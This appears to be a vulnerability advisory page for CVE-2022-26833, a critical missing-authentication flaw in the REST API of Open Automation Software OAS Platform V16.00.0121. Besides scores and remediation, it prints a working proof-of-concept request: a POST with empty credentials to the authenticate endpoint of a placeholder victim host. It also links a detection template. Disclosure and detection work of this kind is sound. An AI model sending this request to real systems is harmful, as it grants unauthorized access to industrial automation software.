| Title | Open Automation Software OAS Platform V16.00.0121 - Missing Authentication |
|---|---|
| Author | true13 |
| Severity | Critical |
| Impact | An attacker can exploit this vulnerability to gain unauthorized access to the affected system. |
| Remediation | Apply the latest security patch or update to the Open Automation Software OAS Platform V16.00.0121 to fix the missing authentication issue. |
| CVSS Score | 9.4 |
| EPSS Score | 0.92531 |
| CVE ID | CVE-2022-26833 |
| CWE ID | CWE-306 |
| Tags | cve2022 cve oas oss unauth openautomationsoftware vkev vuln |
An improper authentication vulnerability exists in the REST API functionality of Open Automation Software OAS Platform V16.00.0121. A specially-crafted series of HTTP requests can lead to unauthenticated use of the REST API. An attacker can send a series of HTTP requests to trigger this vulnerability.
POST /OASREST/v2/authenticate HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0
Content-Length: 32
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/json
Connection: close
{"username": "", "password": ""}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-26833.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-26833.pcap
N/AN/A